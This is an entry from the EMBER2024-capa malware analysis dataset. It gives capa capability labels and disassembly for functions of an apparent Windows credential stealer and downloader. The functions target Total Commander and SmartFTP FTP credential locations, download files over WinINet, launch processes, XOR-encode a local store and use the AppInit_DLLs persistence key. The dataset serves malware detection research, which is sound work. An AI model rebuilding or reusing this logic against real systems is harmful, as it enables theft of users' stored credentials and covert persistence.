joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403c10
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x514
push ebx
push esi
push edi
push 8
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.0040be9d
lea eax, [ebp - 0x100]
mov ebx, str.SOFTWAREGhislerTotal_Commander
push eax
mov edx, ebx
call fcn.00405511
pop ecx
lea eax, [ebp - 0x6c]
push eax
mov edx, str.ftpininame
call fcn.00405511
pop ecx
mov esi, 0x104
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x100]
push eax
lea edi, [ebp - 0x308]
mov eax, SysReAllocString
call fcn.0040848f
add esp, 0xc
cmp eax, 0xffffffff
je 0x403ca9
test eax, eax
jbe 0x403ca9
push esi
lea eax, [ebp - 0x510]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x510]
push eax
call fcn.004039ea
pop ecx
pop ecx
lea eax, [ebp - 0x510]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
cmp dword [ebp - 8], 0
jne 0x403dfe
lea eax, [ebp - 0x40]
push eax
mov edx, str.totalcmd
call fcn.00405511
pop ecx
lea eax, [ebp - 0x9c]
push eax
mov edx, str.totalcommander
call fcn.00405511
pop ecx
lea eax, [ebp - 0x54]
push eax
mov edx, str.ghisler
call fcn.00405511
and dword [ebp - 4], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x54]
pop ecx
mov dword [ebp - 0x28], 0x24
mov dword [ebp - 0x24], 0x1a
mov dword [ebp - 0x20], 0x26
mov dword [ebp - 0x1c], 0x23
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov edi, dword [ebp + eax*4 - 0x28]
lea eax, [ebp - 0x308]
push eax
xor eax, eax
push eax
push eax
push edi
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x403d7f
cmp edi, 0x24
jne 0x403d5a
xor edi, edi
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.004039a3
add esp, 0xc
mov word [ebp - 0x302], di
jmp 0x403d5c
xor edi, edi
push edi
push edi
push edi
lea eax, [ebp - 0xc]
push eax
push 0x403bbf
push 2
push 3
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.00408248
add esp, 0x24
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jb 0x403d18
cmp dword [ebp - 8], 0
jne 0x403dfe
lea eax, [ebp - 0xb8]
push eax
mov edx, ebx
call fcn.00405511
pop ecx
lea eax, [ebp - 0x40]
push eax
mov edx, str.installdir
call fcn.00405511
pop ecx
push esi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xb8]
push eax
lea edi, [ebp - 0x308]
mov eax, SysReAllocString
call fcn.0040848f
add esp, 0xc
cmp eax, 0xffffffff
je 0x403dfa
test eax, eax
jbe 0x403dfa
push esi
lea eax, [ebp - 0x510]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x510]
push eax
call fcn.004039a3
add esp, 0xc
cmp dword [ebp - 8], 0
jbe 0x403e0a
mov esi, dword [ebp - 0xc]
call fcn.004033a0
jmp 0x403e13
push dword [ebp - 0xc]
call fcn.0040be3a
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405136
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
push edi
push 8
xor esi, esi
push esi
lea eax, [ebp - 0xc]
push eax
call fcn.0040be9d
lea eax, [ebp - 0x128]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settingsgeneral_favorites
call fcn.00405511
lea eax, [ebp - 0xb8]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settings_backup
call fcn.00405511
lea eax, [ebp - 0x54]
push eax
mov edx, str.personal_favorites
call fcn.00405511
lea eax, [ebp - 0x2c]
push eax
mov edx, str.folder
call fcn.00405511
lea eax, [ebp - 0x128]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 2
mov ebx, 0x104
push ebx
push dword [ebp + esi - 0x14]
lea edi, [ebp - 0x330]
push dword [ebp + esi - 0x1c]
mov eax, SysReAllocString
call fcn.0040848f
add esp, 0xc
cmp eax, 0xffffffff
je 0x405203
test eax, eax
jbe 0x405203
push ebx
lea eax, [ebp - 0x538]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x538]
push eax
call fcn.00404e7b
pop ecx
pop ecx
add esi, 4
dec dword [ebp - 4]
jne 0x4051bb
cmp dword [ebp - 8], 0
jbe 0x40521b
mov esi, dword [ebp - 0xc]
call fcn.004033a0
jmp 0x405224
push dword [ebp - 0xc]
call fcn.0040be3a
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4069fd
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x406a30
xor eax, eax
jmp 0x406a65
push edi
push dword [ebp + 0x14]
call fcn.00405451
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp edi, esi
sete al
pop edi
pop esi
leave
ret

Function at 0x406d14
Capabilities:
Check internet connectivity via wininet
Create http request

Disassembly:
push esi
xor esi, esi
push esi
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
test eax, eax
je 0x406d26
xor eax, eax
pop esi
ret
push esi
push esi
push esi
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [0x4114e4], eax
pop esi
mov eax, ecx
ret
Function at 0x407036
Capabilities:
Clear file content
Delete file
Download and write a file
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
push ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
xor ebx, ebx
push ebx
push 0x80
push 4
push ebx
push ebx
push 0x40000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x407078
mov eax, dword [ebp + 0x14]
or dword [eax], 1
xor eax, eax
jmp 0x407147
push edi
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
mov edi, dword [ebp + 0x14]
jne 0x407095
push dword [ebp - 4]
or dword [edi], 2
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
push esi
push ebx
push SysReAllocString
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [0x4114e4]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x10], esi
jne 0x4070c6
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
or dword [edi], 4
jmp 0x407143
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
lea eax, [ebp - 8]
push eax
mov edi, 0x800
push edi
lea eax, [ebp - 0x818]
push eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x407119
cmp dword [ebp - 8], ebx
je 0x407123
push ebx
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x818]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0x818]
push eax
push dword [ebp - 0x10]
call esi
cmp eax, 1
mov dword [ebp - 0xc], eax
je 0x4070ed
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
inc eax
cmp dword [ebp - 0xc], eax
je 0x407145
mov eax, dword [ebp + 0x14]
or dword [eax], 4
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret
Function at 0x4075d4
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileW]
push esi
push edi
xor esi, esi
push esi
mov edi, 0x80
push edi
push 3
push esi
push 1
push SysReAllocString
push dword [ebp + 8]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x40771f
push esi
push edi
push 2
push esi
push esi
push 0xc0000000
push dword [ebp + 0xc]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40762a
push 2
pop eax
jmp 0x407722
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
cmp eax, esi
mov dword [ebp - 0x10], eax
je 0x40771f
mov ebx, dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
lea ecx, [ebp - 8]
push ecx
push edi
push eax
push dword [ebp - 0xc]
call ebx
test eax, eax
je 0x40771f
cmp dword [ebp - 8], edi
jne 0x40771f
push esi
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 0x10]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov edi, dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push esi
push esi
push esi
push dword [ebp - 4]
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0x40
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 4]
call ebx
mov eax, dword [ebp - 0x14]
push esi
push esi
push eax
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call ebx
call fcn.0040584d
cdq
mov ecx, 0x3e8
idiv ecx
mov eax, dword [ebp - 0x140]
push esi
push esi
push dword [ebp - 0x10]
push dword [ebp - 4]
lea eax, [eax + edx - 0x1f4]
mov dword [ebp - 0x140], eax
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x407722
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407727
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x1000
call fcn.0040d5b0
push ebx
push esi
push edi
mov ebx, 0x400
push ebx
lea eax, [esp + 0x10]
push eax
xor edi, edi
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
cmp dword [esp + 0x1010], edi
je 0x40776d
push dword [esp + 0x1010]
lea eax, [esp + 0x10]
push eax
call fcn.004075d4
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp 0x4077e1
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_GetLastError]
push ebx
lea eax, [esp + 0x814]
push eax
push dword [esi*4 + 0x411044]
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
lea eax, [esp + 0x810]
push eax
lea eax, [esp + 0x14]
push eax
call fcn.004075d4
test eax, eax
pop ecx
pop ecx
je 0x4077eb
cmp eax, 1
jne 0x4077b7
push 4
call ebp
lea eax, [eax + edi + 0xf4240]
push eax
push 4
jmp 0x4077ca
cmp eax, 2
jne 0x4077d2
push 4
call ebp
lea eax, [eax + edi + 0xf4240]
push eax
push 5
call fcn.0040a786
add esp, 0xc
inc esi
add edi, 0xf4240
cmp esi, 2
jl 0x407774
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x1000
ret
lea eax, [esi + 1]
jmp 0x4077e0

Function at 0x4077f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.0040d530
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x20
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
neg eax
sbb eax, eax
neg eax
pop esi
leave
ret
Function at 0x407b4e
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x120
push esi
push edi
xor eax, eax
call fcn.00407267
mov edi, eax
mov eax, dword [0x41a4cc]
test eax, eax
jne 0x407b9a
lea eax, [esp + 0xd8]
push eax
xor eax, eax
push str.TimeCorr
inc eax
call fcn.00407e2b
test eax, eax
pop ecx
pop ecx
je 0x407b9a
lea eax, [esp + 0xd8]
call fcn.00405624
mov dword [0x41a4cc], eax
add eax, edi
xor edx, edx
mov ecx, 0x4b0
div ecx
lea esi, [esp + 0x70]
mov edi, eax
test edi, edi
jne 0x407bba
mov byte [esp + 0x70], 0x30
mov byte [esp + 0x71], al
jmp 0x407bf8
mov ecx, 0x3b9aca00
cmp edi, ecx
jae 0x407bd4
mov eax, ecx
push 0xa
xor edx, edx
pop ecx
div ecx
mov ecx, eax
cmp edi, ecx
jb 0x407bc3
jmp 0x407bf2
xor edx, edx
mov eax, edi
div ecx
push 0xa
mov dl, al
imul eax, ecx
add dl, 0x30
sub edi, eax
mov byte [esi], dl
mov eax, ecx
xor edx, edx
pop ecx
div ecx
inc esi
mov ecx, eax
test ecx, ecx
jne 0x407bd4
mov byte [esi], cl
cmp byte [esp + 0x70], 0
mov edx, str.__scMMdj490_0_Osd
lea eax, [esp + 0x70]
je 0x407c0e
inc eax
cmp byte [eax], 0
jne 0x407c08
mov cl, byte [edx]
mov byte [eax], cl
inc eax
inc edx
test cl, cl
jne 0x407c0e
xor edi, edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x20], 0x67452301
mov dword [esp + 0x24], 0xefcdab89
mov dword [esp + 0x28], 0x98badcfe
mov dword [esp + 0x2c], 0x10325476
lea eax, [esp + 0x70]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407c46
lea ecx, [esp + 0x70]
sub eax, ecx
dec eax
mov edx, eax
cmp edx, edi
jle 0x407c6e
push edx
push ecx
lea ecx, [esp + 0x20]
push ecx
shl eax, 3
xor ecx, ecx
call fcn.0040bcb4
add esp, 0xc
lea eax, [esp + 8]
push eax
lea esi, [esp + 0x1c]
call fcn.0040bd55
pop ecx
xor ecx, ecx
mov dl, byte [esp + ecx + 8]
mov al, dl
shr al, 4
cmp al, 0xa
movzx ax, al
jae 0x407c96
add ax, 0x30
jmp 0x407c9a
add ax, 0x57
mov word [ebx + ecx*4], ax
movzx eax, dl
and eax, 0x8000000f
jns 0x407cad
dec eax
or eax, 0xfffffff0
inc eax
cmp al, 0xa
movzx ax, al
jae 0x407cbb
add ax, 0x30
jmp 0x407cbf
add ax, 0x57
mov word [ebx + ecx*4 + 2], ax
inc ecx
cmp ecx, 0x10
jl 0x407c7f
mov word [ebx + 0x40], di
xor eax, eax
pop edi
inc eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x407cd7
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.0040d5b0
push esi
push edi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x2000]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
test eax, eax
je 0x407d0d
lea edx, [ebp - 0x2000]
call fcn.00406cf9
jmp 0x407d1b
lea eax, [ebp - 0x2000]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
mov ecx, str.merocz.xc6
lea eax, [ebp - 0x2000]
call fcn.004054ed
cmp dword [ebp + 8], edi
push 4
pop eax
je 0x407d36
push 3
pop eax
push edi
push 2
push eax
push edi
push edi
push 0xc0000000
lea eax, [ebp - 0x2000]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop edi
mov dword [0x4110b4], eax
pop esi
mov eax, ecx
leave
ret
Function at 0x407d61
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
cmp dword [0x4110b4], 0xffffffff
jne 0x407d85
push 0
call fcn.00407cd7
cmp dword [0x4110b4], 0xffffffff
pop ecx
jne 0x407d85
xor eax, eax
leave
ret
push ebx
push esi
push edi
push dword [ebp + 0xc]
call fcn.00405451
push dword [ebp + 0x10]
mov esi, eax
call fcn.00405451
mov edx, dword [ebp + 0xc]
mov ebx, eax
lea eax, [ebp - 0x68]
push eax
call fcn.00405511
add esp, 0xc
push 0xa
pop ecx
cmp esi, ecx
jae 0x407dc3
sub ecx, esi
xor eax, eax
shr ecx, 1
lea edi, [ebp + esi*2 - 0x68]
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 0x54]
push eax
call fcn.00405511
pop ecx
push 0x32
lea eax, [ebx + 0xa]
pop ecx
cmp eax, ecx
jae 0x407deb
sub ecx, eax
lea edi, [ebp + eax*2 - 0x68]
xor eax, eax
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
xor esi, esi
xor eax, eax
xor byte [ebp + eax - 0x68], 0x78
inc eax
cmp eax, 0x64
jb 0x407def
mov eax, dword [ebp + 8]
imul eax, eax, 0x64
push esi
push esi
push eax
push dword [0x4110b4]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push esi
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x68]
push eax
push dword [0x4110b4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407e2b
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
cmp dword [0x4110b4], 0xffffffff
push esi
mov esi, eax
jne 0x407e4e
push 1
call fcn.00407cd7
cmp dword [0x4110b4], 0xffffffff
pop ecx
je 0x407eba
imul esi, esi, 0x64
push 0
push 0
push esi
push dword [0x4110b4]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x6c]
push eax
push dword [0x4110b4]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x407eba
cmp dword [ebp - 4], 0x64
jne 0x407eba
xor eax, eax
xor byte [ebp + eax - 0x6c], 0x78
inc eax
cmp eax, 0x64
jb 0x407e86
push dword [ebp + 8]
and word [ebp - 8], 0
lea eax, [ebp - 0x6c]
call fcn.00405493
pop ecx
lea ecx, [ebp - 0x6c]
cmp eax, ecx
jne 0x407eba
push dword [ebp + 0xc]
lea edx, [ebp - 0x58]
call fcn.00405511
xor eax, eax
pop ecx
inc eax
jmp 0x407ebc
xor eax, eax
pop esi
leave
ret
Function at 0x408248
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
mov eax, 0x40ec40
call fcn.0040821c
test al, al
pop ecx
pop ecx
je 0x4083bf
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x4083bf
mov edi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
xor esi, esi
cmp dword [ebp + 0x20], esi
je 0x4082b7
push esi
push dword [ebp + 0x20]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
cmp eax, 0x102
jne 0x4083b6
cmp word [ebp - 0x230], 0x2e
jne 0x4082e5
cmp word [ebp - 0x22e], si
je 0x40839e
cmp word [ebp - 0x22e], 0x2e
jne 0x4082e5
cmp word [ebp - 0x22c], si
je 0x40839e
mov eax, dword [ebp - 0x25c]
and eax, 0x10
je 0x4082f6
test byte [ebp + 0x14], 2
jne 0x408300
cmp eax, esi
jne 0x408344
test byte [ebp + 0x14], 4
je 0x408344
cmp dword [ebp + 0x10], 0
jbe 0x408344
push dword [edi + esi*4]
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x408322
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x408306
jmp 0x408344
push dword [ebp + 0x1c]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test al, al
je 0x4083b6
cmp dword [ebp + 0x28], 0
je 0x408344
push dword [ebp + 0x28]
call ebx
test byte [ebp - 0x25c], 0x10
je 0x40839e
test byte [ebp + 0x14], 1
je 0x40839e
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x230]
call fcn.0040821c
test al, al
pop ecx
pop ecx
je 0x40839e
cmp dword [ebp + 0x24], 0
je 0x408379
push dword [ebp + 0x24]
call ebx
push dword [ebp + 0x28]
lea eax, [ebp - 0x464]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push eax
call fcn.00408248
add esp, 0x24
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x40829b
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4083c4
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 7
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x408458
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
test eax, eax
je 0x40844f
cmp dword [ebp - 8], edi
jne 0x40844f
mov eax, dword [ebp - 0xc]
cmp eax, edi
mov dword [esi + 4], eax
jne 0x40840e
mov dword [esi], edi
mov al, 1
jmp 0x40845a
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
cmp eax, edi
mov dword [esi], eax
je 0x40844f
push edi
lea ecx, [ebp - 4]
push ecx
push dword [esi + 4]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x408441
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 4]
je 0x40840a
push 0x8000
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor al, al
pop edi
leave
ret

Function at 0x40848f
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea ecx, [ebp - 8]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 8], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4084cc
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 8]
call fcn.0040845d
add esp, 0x10
mov ebx, eax
jmp 0x4084cf
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x408545
test bl, 1
jne 0x408545
cmp dword [ebp - 4], 1
je 0x4084e5
cmp dword [ebp - 4], 2
jne 0x408545
xor ecx, ecx
cmp ebx, ecx
jne 0x4084f0
mov word [edi], cx
jmp 0x408541
shr ebx, 1
dec ebx
mov eax, ebx
cmp word [edi + eax*2], cx
je 0x408507
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x408545
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x408541
cmp dword [ebp - 4], 2
jne 0x408541
push edi
call fcn.0040bfd0
mov esi, eax
test esi, esi
pop ecx
je 0x40852e
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
test eax, eax
jne 0x408531
or ebx, 0xffffffff
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov eax, ebx
jmp 0x408548
or eax, 0xffffffff
pop esi
pop ebx
leave
ret
Function at 0x408604
Capabilities:
Delete file
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 1
xor esi, esi
push esi
mov ebx, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push ebx
mov edi, reloc.OLEAUT32.dll_SysReAllocString
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40864a
lea eax, [ebp - 0x804]
push eax
push str.AppInit_DLLs
lea esi, [ebp - 4]
call fcn.004069c0
pop ecx
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test esi, esi
jne 0x408658
xor eax, eax
jmp 0x40868d
lea eax, [ebp - 0x804]
push eax
call fcn.00405451
cmp eax, 4
pop ecx
jbe 0x408682
push 1
push 0x40ea48
push str.AppInit_DLLs
push ebx
push edi
call fcn.004069fd
add esp, 0x14
jmp 0x40868d
push str.C:WINDOWS_system32gbdwpbm.dll
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret